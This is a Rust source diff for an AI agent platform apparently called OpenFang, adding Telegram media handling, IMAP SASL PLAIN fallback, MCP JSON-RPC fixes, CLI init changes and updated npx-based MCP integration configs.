let msg = parse_discord_message(&d, &bot_id, &[], &[]).await.unwrap();
|
||||
let msg = parse_discord_message(&d, &bot_id, &[], &[], true).await.unwrap();
|
||||
assert!(!msg.is_group);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_discord_adapter_creation() {
|
||||
let adapter = DiscordAdapter::new("test-token".to_string(), vec!["123".to_string(), "456".to_string()], vec![], 37376);
|
||||
let adapter = DiscordAdapter::new("test-token".to_string(), vec!["123".to_string(), "456".to_string()], vec![], true, 37376);
|
||||
assert_eq!(adapter.name(), "discord");
|
||||
assert_eq!(adapter.channel_type(), ChannelType::Discord);
|
||||
}
|
||||
|
||||
@@ -20,6 +20,21 @@ use tokio::sync::{mpsc, watch};
|
||||
use tracing::{debug, error, info, warn};
|
||||
use zeroize::Zeroizing;
|
||||
|
||||
/// SASL PLAIN authenticator for IMAP servers that reject LOGIN
|
||||
/// (e.g., Lark/Larksuite which only advertise AUTH=PLAIN).
|
||||
struct PlainAuthenticator {
|
||||
username: String,
|
||||
password: String,
|
||||
}
|
||||
|
||||
impl imap::Authenticator for PlainAuthenticator {
|
||||
type Response = String;
|
||||
fn process(&self, _data: &[u8]) -> Self::Response {
|
||||
// SASL PLAIN: \0<username>\0<password>
|
||||
format!("\x00{}\x00{}", self.username, self.password)
|
||||
}
|
||||
}
|
||||
|
||||
/// Reply context for email threading (In-Reply-To / Subject continuity).
|
||||
#[derive(Debug, Clone)]
|
||||
struct ReplyCtx {
|
||||
@@ -203,9 +218,22 @@ fn fetch_unseen_emails(
|
||||
let client = imap::connect((host, port), host, &tls)
|
||||
.map_err(|e| format!("IMAP connect failed: {e}"))?;
|
||||
|
||||
let mut session = client
|
||||
.login(username, password)
|
||||
.map_err(|(e, _)| format!("IMAP login failed: {e}"))?;
|
||||
// Try LOGIN first; fall back to AUTHENTICATE PLAIN for servers like Lark
|
||||
// that reject LOGIN and only support AUTH=PLAIN (SASL).
|
||||
let mut session = match client.login(username, password) {
|
||||
Ok(s) => s,
|
||||
Err((login_err, client)) => {
|
||||
let authenticator = PlainAuthenticator {
|
||||
username: username.to_string(),
|
||||
password: password.to_string(),
|
||||
};
|
||||
client
|
||||
.authenticate("PLAIN", &authenticator)
|
||||
.map_err(|(e, _)| {
|
||||
format!("IMAP login failed: {login_err}; AUTH=PLAIN also failed: {e}")
|
||||
})?
|
||||
}
|
||||
};
|
||||
|
||||
let mut results = Vec::new();
|
||||
|
||||
|
||||
@@ -298,17 +298,8 @@ fn strip_html_tags(html: &str) -> String {
|
||||
}
|
||||
}
|
||||
|
||||
// Decode HTML entities
|
||||
let decoded = result
|
||||
.replace("&", "&")
|
||||
.replace("<", "<")
|
||||
.replace(">", ">")
|
||||
.replace(""", "\"")
|
||||
.replace("'", "'")
|
||||
.replace("'", "'")
|
||||
.replace("'", "'")
|
||||
.replace(" ", " ");
|
||||
|
||||
// Decode HTML entities (handles named, decimal, and hex entities)
|
||||
let decoded = html_escape::decode_html_entities(&result);
|
||||
decoded.trim().to_string()
|
||||
}
|
||||
|
||||
|
||||
@@ -165,7 +165,7 @@ impl ChannelAdapter for NostrAdapter {
|
||||
) -> Result<Pin<Box<dyn Stream<Item = ChannelMessage> + Send>>, Box<dyn std::error::Error>>
|
||||
{
|
||||
let pubkey = self.derive_pubkey();
|
||||
info!("Nostr adapter starting (pubkey: {}...)", &pubkey[..16]);
|
||||
info!("Nostr adapter starting (pubkey: {}...)", openfang_types::truncate_str(&pubkey, 16));
|
||||
|
||||
if self.relays.is_empty() {
|
||||
return Err("Nostr: no relay URLs configured".into());
|
||||
|
||||
@@ -28,7 +28,7 @@ pub struct TelegramAdapter {
|
||||
/// SECURITY: Bot token is zeroized on drop to prevent memory disclosure.
|
||||
token: Zeroizing<String>,
|
||||
client: reqwest::Client,
|
||||
allowed_users: Vec<i64>,
|
||||
allowed_users: Vec<String>,
|
||||
poll_interval: Duration,
|
||||
shutdown_tx: Arc<watch::Sender<bool>>,
|
||||
shutdown_rx: watch::Receiver<bool>,
|
||||
@@ -39,7 +39,7 @@ impl TelegramAdapter {
|
||||
///
|
||||
/// `token` is the raw bot token (read from env by the caller).
|
||||
/// `allowed_users` is the list of Telegram user IDs allowed to interact (empty = allow all).
|
||||
pub fn new(token: String, allowed_users: Vec<i64>, poll_interval: Duration) -> Self {
|
||||
pub fn new(token: String, allowed_users: Vec<String>, poll_interval: Duration) -> Self {
|
||||
let (shutdown_tx, shutdown_rx) = watch::channel(false);
|
||||
Self {
|
||||
token: Zeroizing::new(token),
|
||||
@@ -371,7 +371,7 @@ impl ChannelAdapter for TelegramAdapter {
|
||||
}
|
||||
|
||||
// Parse the message
|
||||
let msg = match parse_telegram_update(update, &allowed_users) {
|
||||
let msg = match parse_telegram_update(update, &allowed_users, token.as_str(), &client).await {
|
||||
Some(m) => m,
|
||||
None => continue, // filtered out or unparseable
|
||||
};
|
||||
@@ -449,9 +449,34 @@ impl ChannelAdapter for TelegramAdapter {
|
||||
|
||||
/// Parse a Telegram update JSON into a `ChannelMessage`, or `None` if filtered/unparseable.
|
||||
/// Handles both `message` and `edited_message` update types.
|
||||
fn parse_telegram_update(
|
||||
/// Resolve a Telegram file_id to a download URL via the Bot API.
|
||||
async fn telegram_get_file_url(
|
||||
token: &str,
|
||||
client: &reqwest::Client,
|
||||
file_id: &str,
|
||||
) -> Option<String> {
|
||||
let url = format!("https://api.telegram.org/bot{token}/getFile");
|
||||
let resp = client
|
||||
.post(&url)
|
||||
.json(&serde_json::json!({"file_id": file_id}))
|
||||
.send()
|
||||
.await
|
||||
.ok()?;
|
||||
let body: serde_json::Value = resp.json().await.ok()?;
|
||||
if body["ok"].as_bool() != Some(true) {
|
||||
return None;
|
||||
}
|
||||
let file_path = body["result"]["file_path"].as_str()?;
|
||||
Some(format!(
|
||||
"https://api.telegram.org/file/bot{token}/{file_path}"
|
||||
))
|
||||
}
|
||||
|
||||
async fn parse_telegram_update(
|
||||
update: &serde_json::Value,
|
||||
allowed_users: &[i64],
|
||||
allowed_users: &[String],
|
||||
token: &str,
|
||||
client: &reqwest::Client,
|
||||
) -> Option<ChannelMessage> {
|
||||
let message = update
|
||||
.get("message")
|
||||
@@ -459,8 +484,9 @@ fn parse_telegram_update(
|
||||
let from = message.get("from")?;
|
||||
let user_id = from["id"].as_i64()?;
|
||||
|
||||
// Security: check allowed_users
|
||||
if !allowed_users.is_empty() && !allowed_users.contains(&user_id) {
|
||||
// Security: check allowed_users (compare as strings for consistency)
|
||||
let user_id_str = user_id.to_string();
|
||||
if !allowed_users.is_empty() && !allowed_users.iter().any(|u| u == &user_id_str) {
|
||||
debug!("Telegram: ignoring message from unlisted user {user_id}");
|
||||
return None;
|
||||
}
|
||||
@@ -476,41 +502,81 @@ fn parse_telegram_update(
|
||||
|
||||
let chat_type = message["chat"]["type"].as_str().unwrap_or("private");
|
||||
let is_group = chat_type == "group" || chat_type == "supergroup";
|
||||
|
||||
let text = message["text"].as_str()?;
|
||||
let message_id = message["message_id"].as_i64().unwrap_or(0);
|
||||
let timestamp = message["date"]
|
||||
.as_i64()
|
||||
.and_then(|ts| chrono::DateTime::from_timestamp(ts, 0))
|
||||
.unwrap_or_else(chrono::Utc::now);
|
||||
|
||||
// Parse bot commands (Telegram sends entities for /commands)
|
||||
let content = if let Some(entities) = message["entities"].as_array() {
|
||||
let is_bot_command = entities
|
||||
.iter()
|
||||
.any(|e| e["type"].as_str() == Some("bot_command") && e["offset"].as_i64() == Some(0));
|
||||
if is_bot_command {
|
||||
let parts: Vec<&str> = text.splitn(2, ' ').collect();
|
||||
let cmd_name = parts[0].trim_start_matches('/');
|
||||
// Strip @botname from command (e.g. /agents@mybot -> agents)
|
||||
let cmd_name = cmd_name.split('@').next().unwrap_or(cmd_name);
|
||||
let args = if parts.len() > 1 {
|
||||
parts[1].split_whitespace().map(String::from).collect()
|
||||
// Determine content: text, photo, document, voice, or location
|
||||
let content = if let Some(text) = message["text"].as_str() {
|
||||
// Parse bot commands (Telegram sends entities for /commands)
|
||||
if let Some(entities) = message["entities"].as_array() {
|
||||
let is_bot_command = entities.iter().any(|e| {
|
||||
e["type"].as_str() == Some("bot_command") && e["offset"].as_i64() == Some(0)
|
||||
});
|
||||
if is_bot_command {
|
||||
let parts: Vec<&str> = text.splitn(2, ' ').collect();
|
||||
let cmd_name = parts[0].trim_start_matches('/');
|
||||
let cmd_name = cmd_name.split('@').next().unwrap_or(cmd_name);
|
||||
let args = if parts.len() > 1 {
|
||||
parts[1].split_whitespace().map(String::from).collect()
|
||||
} else {
|
||||
vec![]
|
||||
};
|
||||
ChannelContent::Command {
|
||||
name: cmd_name.to_string(),
|
||||
args,
|
||||
}
|
||||
} else {
|
||||
vec![]
|
||||
};
|
||||
ChannelContent::Command {
|
||||
name: cmd_name.to_string(),
|
||||
args,
|
||||
ChannelContent::Text(text.to_string())
|
||||
}
|
||||
} else {
|
||||
ChannelContent::Text(text.to_string())
|
||||
}
|
||||
} else if let Some(photos) = message["photo"].as_array() {
|
||||
// Photos come as array of sizes; pick the largest (last)
|
||||
let file_id = photos
|
||||
.last()
|
||||
.and_then(|p| p["file_id"].as_str())
|
||||
.unwrap_or("");
|
||||
let caption = message["caption"].as_str().map(String::from);
|
||||
match telegram_get_file_url(token, client, file_id).await {
|
||||
Some(url) => ChannelContent::Image { url, caption },
|
||||
None => ChannelContent::Text(format!(
|
||||
"[Photo received{}]",
|
||||
caption.as_deref().map(|c| format!(": {c}")).unwrap_or_default()
|
||||
)),
|
||||
}
|
||||
} else if message.get("document").is_some() {
|
||||
let file_id = message["document"]["file_id"].as_str().unwrap_or("");
|
||||
let filename = message["document"]["file_name"]
|
||||
.as_str()
|
||||
.unwrap_or("document")
|
||||
.to_string();
|
||||
match telegram_get_file_url(token, client, file_id).await {
|
||||
Some(url) => ChannelContent::File { url, filename },
|
||||
None => ChannelContent::Text(format!("[Document received: {filename}]")),
|
||||
}
|
||||
} else if message.get("voice").is_some() {
|
||||
let file_id = message["voice"]["file_id"].as_str().unwrap_or("");
|
||||
let duration = message["voice"]["duration"].as_u64().unwrap_or(0) as u32;
|
||||
match telegram_get_file_url(token, client, file_id).await {
|
||||
Some(url) => ChannelContent::Voice {
|
||||
url,
|
||||
duration_seconds: duration,
|
||||
},
|
||||
None => ChannelContent::Text(format!("[Voice message, {duration}s]")),
|
||||
}
|
||||
} else if message.get("location").is_some() {
|
||||
let lat = message["location"]["latitude"].as_f64().unwrap_or(0.0);
|
||||
let lon = message["location"]["longitude"].as_f64().unwrap_or(0.0);
|
||||
ChannelContent::Location { lat, lon }
|
||||
} else {
|
||||
ChannelContent::Text(text.to_string())
|
||||
// Unsupported message type (stickers, polls, etc.)
|
||||
return None;
|
||||
};
|
||||
|
||||
// Use chat_id as the platform_id (so responses go to the right chat)
|
||||
Some(ChannelMessage {
|
||||
channel: ChannelType::Telegram,
|
||||
platform_message_id: message_id.to_string(),
|
||||
@@ -594,8 +660,12 @@ fn sanitize_telegram_html(text: &str) -> String {
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn test_parse_telegram_update() {
|
||||
fn test_client() -> reqwest::Client {
|
||||
reqwest::Client::new()
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_parse_telegram_update() {
|
||||
let update = serde_json::json!({
|
||||
"update_id": 123456,
|
||||
"message": {
|
||||
@@ -614,15 +684,16 @@ mod tests {
|
||||
}
|
||||
});
|
||||
|
||||
let msg = parse_telegram_update(&update, &[]).unwrap();
|
||||
let client = test_client();
|
||||
let msg = parse_telegram_update(&update, &[], "fake:token", &client).await.unwrap();
|
||||
assert_eq!(msg.channel, ChannelType::Telegram);
|
||||
assert_eq!(msg.sender.display_name, "Alice Smith");
|
||||
assert_eq!(msg.sender.platform_id, "111222333");
|
||||
assert!(matches!(msg.content, ChannelContent::Text(ref t) if t == "Hello, agent!"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_parse_telegram_command() {
|
||||
#[tokio::test]
|
||||
async fn test_parse_telegram_command() {
|
||||
let update = serde_json::json!({
|
||||
"update_id": 123457,
|
||||
"message": {
|
||||
@@ -645,7 +716,8 @@ mod tests {
|
||||
}
|
||||
});
|
||||
|
||||
let msg = parse_telegram_update(&update, &[]).unwrap();
|
||||
let client = test_client();
|
||||
let msg = parse_telegram_update(&update, &[], "fake:token", &client).await.unwrap();
|
||||
match &msg.content {
|
||||
ChannelContent::Command { name, args } => {
|
||||
assert_eq!(name, "agent");
|
||||
@@ -655,8 +727,8 @@ mod tests {
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_allowed_users_filter() {
|
||||
#[tokio::test]
|
||||
async fn test_allowed_users_filter() {
|
||||
let update = serde_json::json!({
|
||||
"update_id": 123458,
|
||||
"message": {
|
||||
@@ -674,21 +746,25 @@ mod tests {
|
||||
}
|
||||
});
|
||||
|
||||
let client = test_client();
|
||||
|
||||
// Empty allowed_users = allow all
|
||||
let msg = parse_telegram_update(&update, &[]);
|
||||
let msg = parse_telegram_update(&update, &[], "fake:token", &client).await;
|
||||
assert!(msg.is_some());
|
||||
|
||||
// Non-matching allowed_users = filter out
|
||||
let msg = parse_telegram_update(&update, &[111, 222]);
|
||||
let blocked: Vec<String> = vec!["111".to_string(), "222".to_string()];
|
||||
let msg = parse_telegram_update(&update, &blocked, "fake:token", &client).await;
|
||||
assert!(msg.is_none());
|
||||
|
||||
// Matching allowed_users = allow
|
||||
let msg = parse_telegram_update(&update, &[999]);
|
||||
let allowed: Vec<String> = vec!["999".to_string()];
|
||||
let msg = parse_telegram_update(&update, &allowed, "fake:token", &client).await;
|
||||
assert!(msg.is_some());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_parse_telegram_edited_message() {
|
||||
#[tokio::test]
|
||||
async fn test_parse_telegram_edited_message() {
|
||||
let update = serde_json::json!({
|
||||
"update_id": 123459,
|
||||
"edited_message": {
|
||||
@@ -708,7 +784,8 @@ mod tests {
|
||||
}
|
||||
});
|
||||
|
||||
let msg = parse_telegram_update(&update, &[]).unwrap();
|
||||
let client = test_client();
|
||||
let msg = parse_telegram_update(&update, &[], "fake:token", &client).await.unwrap();
|
||||
assert_eq!(msg.channel, ChannelType::Telegram);
|
||||
assert_eq!(msg.sender.display_name, "Alice Smith");
|
||||
assert!(matches!(msg.content, ChannelContent::Text(ref t) if t == "Edited message!"));
|
||||
@@ -729,8 +806,8 @@ mod tests {
|
||||
assert_eq!(b4, Duration::from_secs(60)); // stays at cap
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_parse_command_with_botname() {
|
||||
#[tokio::test]
|
||||
async fn test_parse_command_with_botname() {
|
||||
let update = serde_json::json!({
|
||||
"update_id": 100,
|
||||
"message": {
|
||||
@@ -743,7 +820,8 @@ mod tests {
|
||||
}
|
||||
});
|
||||
|
||||
let msg = parse_telegram_update(&update, &[]).unwrap();
|
||||
let client = test_client();
|
||||
let msg = parse_telegram_update(&update, &[], "fake:token", &client).await.unwrap();
|
||||
match &msg.content {
|
||||
ChannelContent::Command { name, args } => {
|
||||
assert_eq!(name, "agents");
|
||||
@@ -752,4 +830,22 @@ mod tests {
|
||||
other => panic!("Expected Command, got {other:?}"),
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_parse_telegram_location() {
|
||||
let update = serde_json::json!({
|
||||
"update_id": 200,
|
||||
"message": {
|
||||
"message_id": 50,
|
||||
"from": { "id": 123, "first_name": "Alice" },
|
||||
"chat": { "id": 123, "type": "private" },
|
||||
"date": 1700000000,
|
||||
"location": { "latitude": 51.5074, "longitude": -0.1278 }
|
||||
}
|
||||
});
|
||||
|
||||
let client = test_client();
|
||||
let msg = parse_telegram_update(&update, &[], "fake:token", &client).await.unwrap();
|
||||
assert!(matches!(msg.content, ChannelContent::Location { .. }));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1163,6 +1163,12 @@ fn cmd_init(quick: bool) {
|
||||
|
||||
if quick {
|
||||
cmd_init_quick(&openfang_dir);
|
||||
} else if !std::io::IsTerminal::is_terminal(&std::io::stdin())
|
||||
|| !std::io::IsTerminal::is_terminal(&std::io::stdout())
|
||||
{
|
||||
ui::hint("Non-interactive terminal detected — running in quick mode");
|
||||
ui::hint("For the interactive wizard, run: openfang init (in a terminal)");
|
||||
cmd_init_quick(&openfang_dir);
|
||||
} else {
|
||||
cmd_init_interactive(&openfang_dir);
|
||||
}
|
||||
@@ -1283,9 +1289,10 @@ fn launch_desktop_app(_openfang_dir: &std::path::Path) {
|
||||
ui::blank();
|
||||
if let Some(base) = find_daemon() {
|
||||
let url = format!("{base}/");
|
||||
if !open_in_browser(&url) {
|
||||
ui::hint(&format!("Visit: {url}"));
|
||||
}
|
||||
let _ = open_in_browser(&url);
|
||||
// Always print the URL — browser launch may silently fail
|
||||
// (e.g., Chromium sandbox EPERM in containers)
|
||||
ui::hint(&format!("Dashboard: {url}"));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1333,7 +1340,7 @@ fn provider_list() -> Vec<(&'static str, &'static str, &'static str, &'static st
|
||||
(
|
||||
"openrouter",
|
||||
"OPENROUTER_API_KEY",
|
||||
"openrouter/auto",
|
||||
"openrouter/anthropic/claude-sonnet-4",
|
||||
"OpenRouter",
|
||||
),
|
||||
]
|
||||
@@ -2075,20 +2082,23 @@ fn cmd_doctor(json: bool, repair: bool) {
|
||||
}
|
||||
let answer = prompt_input(" Create default config? [Y/n] ");
|
||||
if answer.is_empty() || answer.starts_with('y') || answer.starts_with('Y') {
|
||||
let default_config = r#"# OpenFang Agent OS configuration
|
||||
let (provider, api_key_env, model) = detect_best_provider();
|
||||
let default_config = format!(
|
||||
r#"# OpenFang Agent OS configuration
|
||||
# See https://github.com/RightNow-AI/openfang for documentation
|
||||
|
||||
# For Docker, change to "0.0.0.0:4200" or set OPENFANG_LISTEN env var.
|
||||
api_listen = "127.0.0.1:4200"
|
||||
|
||||
[default_model]
|
||||
provider = "groq"
|
||||
model = "llama-3.3-70b-versatile"
|
||||
api_key_env = "GROQ_API_KEY"
|
||||
provider = "{provider}"
|
||||
model = "{model}"
|
||||
api_key_env = "{api_key_env}"
|
||||
|
||||
[memory]
|
||||
decay_rate = 0.05
|
||||
"#;
|
||||
"#
|
||||
);
|
||||
let _ = std::fs::create_dir_all(&openfang_dir);
|
||||
if std::fs::write(&config_path, default_config).is_ok() {
|
||||
restrict_file_permissions(&config_path);
|
||||
@@ -2625,7 +2635,7 @@ decay_rate = 0.05
|
||||
checks.push(serde_json::json!({"check": "daemon_uptime", "status": "ok", "secs": uptime}));
|
||||
}
|
||||
if let Some(db_status) = body.get("database").and_then(|v| v.as_str()) {
|
||||
if db_status == "ok" {
|
||||
if db_status == "connected" || db_status == "ok" {
|
||||
if !json {
|
||||
ui::check_ok("Database connectivity: OK");
|
||||
}
|
||||
@@ -2699,12 +2709,18 @@ decay_rate = 0.05
|
||||
match client.get(format!("{base}/api/integrations/health")).send() {
|
||||
Ok(resp) if resp.status().is_success() => {
|
||||
if let Ok(body) = resp.json::<serde_json::Value>() {
|
||||
if let Some(obj) = body.as_object() {
|
||||
let healthy = obj
|
||||
.values()
|
||||
.filter(|v| v.get("healthy").and_then(|h| h.as_bool()).unwrap_or(false))
|
||||
let entries = body.get("health").and_then(|h| h.as_array());
|
||||
if let Some(arr) = entries {
|
||||
let healthy = arr
|
||||
.iter()
|
||||
.filter(|v| {
|
||||
v.get("status")
|
||||
.and_then(|s| s.as_str())
|
||||
.map(|s| s.eq_ignore_ascii_case("ready"))
|
||||
.unwrap_or(false)
|
||||
})
|
||||
.count();
|
||||
let total = obj.len();
|
||||
let total = arr.len();
|
||||
if healthy == total {
|
||||
if !json {
|
||||
ui::check_ok(&format!(
|
||||
@@ -2947,8 +2963,14 @@ pub(crate) fn open_in_browser(url: &str) -> bool {
|
||||
}
|
||||
#[cfg(target_os = "linux")]
|
||||
{
|
||||
// Detach from parent to avoid inheriting sandbox restrictions.
|
||||
// Some Chromium-based browsers fail with EPERM when launched from
|
||||
// restricted environments (containers, snaps, flatpaks).
|
||||
std::process::Command::new("xdg-open")
|
||||
.arg(url)
|
||||
.stdin(std::process::Stdio::null())
|
||||
.stdout(std::process::Stdio::null())
|
||||
.stderr(std::process::Stdio::null())
|
||||
.spawn()
|
||||
.is_ok()
|
||||
}
|
||||
|
||||
@@ -216,8 +216,13 @@ fn read_message(reader: &mut impl BufRead) -> io::Result<Option<Value>> {
|
||||
/// Write a Content-Length framed JSON-RPC response to the writer.
|
||||
fn write_message(writer: &mut impl Write, msg: &Value) {
|
||||
let body = serde_json::to_string(msg).unwrap_or_default();
|
||||
let _ = write!(writer, "Content-Length: {}\r\n\r\n{}", body.len(), body);
|
||||
let _ = writer.flush();
|
||||
if let Err(e) = write!(writer, "Content-Length: {}\r\n\r\n{}", body.len(), body) {
|
||||
eprintln!("MCP write error: {e}");
|
||||
return;
|
||||
}
|
||||
if let Err(e) = writer.flush() {
|
||||
eprintln!("MCP flush error: {e}");
|
||||
}
|
||||
}
|
||||
|
||||
/// Handle a JSON-RPC message and return an optional response.
|
||||
@@ -225,6 +230,10 @@ fn handle_message(backend: &McpBackend, msg: &Value) -> Option<Value> {
|
||||
let method = msg["method"].as_str().unwrap_or("");
|
||||
let id = msg.get("id").cloned();
|
||||
|
||||
// Per JSON-RPC 2.0 spec: requests MUST have an id field.
|
||||
// Use null if missing so we always send a response.
|
||||
let rid = id.unwrap_or(Value::Null);
|
||||
|
||||
match method {
|
||||
"initialize" => {
|
||||
let result = json!({
|
||||
@@ -234,10 +243,10 @@ fn handle_message(backend: &McpBackend, msg: &Value) -> Option<Value> {
|
||||
},
|
||||
"serverInfo": {
|
||||
"name": "openfang",
|
||||
"version": "0.1.0"
|
||||
"version": env!("CARGO_PKG_VERSION")
|
||||
}
|
||||
});
|
||||
Some(jsonrpc_response(id?, result))
|
||||
Some(jsonrpc_response(rid, result))
|
||||
}
|
||||
|
||||
"notifications/initialized" => None, // Notification, no response
|
||||
@@ -269,7 +278,7 @@ fn handle_message(backend: &McpBackend, msg: &Value) -> Option<Value> {
|
||||
})
|
||||
})
|
||||
.collect();
|
||||
Some(jsonrpc_response(id?, json!({ "tools": tools })))
|
||||
Some(jsonrpc_response(rid, json!({ "tools": tools })))
|
||||
}
|
||||
|
||||
"tools/call" => {
|
||||
@@ -281,14 +290,14 @@ fn handle_message(backend: &McpBackend, msg: &Value) -> Option<Value> {
|
||||
.to_string();
|
||||
|
||||
if message.is_empty() {
|
||||
return Some(jsonrpc_error(id?, -32602, "Missing 'message' argument"));
|
||||
return Some(jsonrpc_error(rid, -32602, "Missing 'message' argument"));
|
||||
}
|
||||
|
||||
let agent_id = match backend.resolve_tool_agent(tool_name) {
|
||||
Some(id) => id,
|
||||
None => {
|
||||
return Some(jsonrpc_error(
|
||||
id?,
|
||||
rid,
|
||||
-32602,
|
||||
&format!("Unknown tool: {tool_name}"),
|
||||
));
|
||||
@@ -297,7 +306,7 @@ fn handle_message(backend: &McpBackend, msg: &Value) -> Option<Value> {
|
||||
|
||||
match backend.send_message(&agent_id, &message) {
|
||||
Ok(response) => Some(jsonrpc_response(
|
||||
id?,
|
||||
rid,
|
||||
json!({
|
||||
"content": [{
|
||||
"type": "text",
|
||||
@@ -306,7 +315,7 @@ fn handle_message(backend: &McpBackend, msg: &Value) -> Option<Value> {
|
||||
}),
|
||||
)),
|
||||
Err(e) => Some(jsonrpc_response(
|
||||
id?,
|
||||
rid,
|
||||
json!({
|
||||
"content": [{
|
||||
"type": "text",
|
||||
@@ -319,8 +328,8 @@ fn handle_message(backend: &McpBackend, msg: &Value) -> Option<Value> {
|
||||
}
|
||||
|
||||
_ => {
|
||||
// Unknown method
|
||||
id.map(|id| jsonrpc_error(id, -32601, &format!("Method not found: {method}")))
|
||||
// Unknown method — always respond with error
|
||||
Some(jsonrpc_error(rid, -32601, &format!("Method not found: {method}")))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -72,7 +72,7 @@ const PROVIDERS: &[ProviderInfo] = &[
|
||||
name: "openrouter",
|
||||
display: "OpenRouter",
|
||||
env_var: "OPENROUTER_API_KEY",
|
||||
default_model: "openrouter/auto",
|
||||
default_model: "openrouter/anthropic/claude-sonnet-4",
|
||||
needs_key: true,
|
||||
hint: "",
|
||||
},
|
||||
@@ -172,6 +172,14 @@ const PROVIDERS: &[ProviderInfo] = &[
|
||||
needs_key: true,
|
||||
hint: "",
|
||||
},
|
||||
ProviderInfo {
|
||||
name: "venice",
|
||||
display: "Venice.ai",
|
||||
env_var: "VENICE_API_KEY",
|
||||
default_model: "venice-uncensored",
|
||||
needs_key: true,
|
||||
hint: "uncensored",
|
||||
},
|
||||
ProviderInfo {
|
||||
name: "ai21",
|
||||
display: "AI21",
|
||||
@@ -556,6 +564,13 @@ fn tier_label(tier: ModelTier) -> &'static str {
|
||||
// ── Entry point ────────────────────────────────────────────────────────────
|
||||
|
||||
pub fn run() -> InitResult {
|
||||
// Guard against non-TTY environments (Docker, piped, CI/CD)
|
||||
if !std::io::IsTerminal::is_terminal(&std::io::stdin())
|
||||
|| !std::io::IsTerminal::is_terminal(&std::io::stdout())
|
||||
{
|
||||
return InitResult::Cancelled;
|
||||
}
|
||||
|
||||
let original_hook = std::panic::take_hook();
|
||||
std::panic::set_hook(Box::new(move |info| {
|
||||
ratatui::restore();
|
||||
@@ -2006,11 +2021,7 @@ fn draw_routing_pick(f: &mut Frame, area: Rect, state: &mut State, tier: usize)
|
||||
.split('/')
|
||||
.next_back()
|
||||
.unwrap_or(&state.routing_models[t]);
|
||||
let display = if short.len() > 14 {
|
||||
&short[..14]
|
||||
} else {
|
||||
short
|
||||
};
|
||||
let display = openfang_types::truncate_str(short, 14);
|
||||
summary_spans.push(Span::styled(
|
||||
format!("{name}:{display}"),
|
||||
Style::default().fg(*c),
|
||||
|
||||
@@ -8,7 +8,7 @@ tags = ["cloud", "amazon", "infrastructure", "s3", "ec2", "lambda", "devops"]
|
||||
[transport]
|
||||
type = "stdio"
|
||||
command = "npx"
|
||||
args = ["@modelcontextprotocol/server-aws"]
|
||||
args = ["-y", "@aws-mcp/server-aws"]
|
||||
|
||||
[[required_env]]
|
||||
name = "AWS_ACCESS_KEY_ID"
|
||||
|
||||
@@ -8,7 +8,7 @@ tags = ["cloud", "microsoft", "infrastructure", "azure", "devops", "enterprise"]
|
||||
[transport]
|
||||
type = "stdio"
|
||||
command = "npx"
|
||||
args = ["@modelcontextprotocol/server-azure"]
|
||||
args = ["-y", "@azure/mcp@latest", "server", "start"]
|
||||
|
||||
[[required_env]]
|
||||
name = "AZURE_SUBSCRIPTION_ID"
|
||||
|
||||
@@ -8,7 +8,7 @@ tags = ["git", "vcs", "code", "pull-requests", "ci", "atlassian"]
|
||||
[transport]
|
||||
type = "stdio"
|
||||
command = "npx"
|
||||
args = ["@modelcontextprotocol/server-bitbucket"]
|
||||
args = ["-y", "@atlassian-mcp-server/bitbucket"]
|
||||
|
||||
[[required_env]]
|
||||
name = "BITBUCKET_USERNAME"
|
||||
|
||||
@@ -8,7 +8,7 @@ tags = ["search", "web", "brave", "api", "information-retrieval"]
|
||||
[transport]
|
||||
type = "stdio"
|
||||
command = "npx"
|
||||
args = ["@modelcontextprotocol/server-brave-search"]
|
||||
args = ["-y", "@modelcontextprotocol/server-brave-search"]
|
||||
|
||||
[[required_env]]
|
||||
name = "BRAVE_API_KEY"
|
||||
|
||||
@@ -8,7 +8,7 @@ tags = ["chat", "messaging", "community", "gaming", "voice"]
|
||||
[transport]
|
||||
type = "stdio"
|
||||
command = "npx"
|
||||
args = ["@modelcontextprotocol/server-discord"]
|
||||
args = ["-y", "mcp-discord"]
|
||||
|
||||
[[required_env]]
|
||||
name = "DISCORD_BOT_TOKEN"
|
||||
|
||||
@@ -8,7 +8,7 @@ tags = ["files", "storage", "cloud-storage", "sync", "sharing"]
|
||||
[transport]
|
||||
type = "stdio"
|
||||
command = "npx"
|
||||
args = ["@modelcontextprotocol/server-dropbox"]
|
||||
args = ["-y", "@microagents/mcp-server-dropbox"]
|
||||
|
||||
[[required_env]]
|
||||
name = "DROPBOX_ACCESS_TOKEN"
|
||||
|
||||
@@ -8,7 +8,7 @@ tags = ["search", "database", "indexing", "analytics", "full-text"]
|
||||
[transport]
|
||||
type = "stdio"
|
||||
command = "npx"
|
||||
args = ["@modelcontextprotocol/server-elasticsearch"]
|
||||
args = ["-y", "@elastic/mcp-server-elasticsearch"]
|
||||
|
||||
[[required_env]]
|
||||
name = "ELASTICSEARCH_URL"
|
||||
|
||||
@@ -8,7 +8,7 @@ tags = ["search", "web", "ai", "neural", "semantic", "information-retrieval"]
|
||||
[transport]
|
||||
type = "stdio"
|
||||
command = "npx"
|
||||
args = ["@modelcontextprotocol/server-exa"]
|
||||
args = ["-y", "exa-mcp-server"]
|
||||
|
||||
[[required_env]]
|
||||
name = "EXA_API_KEY"
|
||||
|
||||
@@ -8,7 +8,7 @@ tags = ["cloud", "google", "infrastructure", "gce", "gcs", "bigquery", "devops"]
|
||||
[transport]
|
||||
type = "stdio"
|
||||
command = "npx"
|
||||
args = ["@modelcontextprotocol/server-gcp"]
|
||||
args = ["-y", "@google-cloud/gcloud-mcp"]
|
||||
|
||||
[[required_env]]
|
||||
name = "GOOGLE_APPLICATION_CREDENTIALS"
|
||||
|
||||
@@ -8,7 +8,7 @@ tags = ["git", "vcs", "code", "issues", "pull-requests", "ci"]
|
||||
[transport]
|
||||
type = "stdio"
|
||||
command = "npx"
|
||||
args = ["@modelcontextprotocol/server-github"]
|
||||
args = ["-y", "@modelcontextprotocol/server-github"]
|
||||
|
||||
[[required_env]]
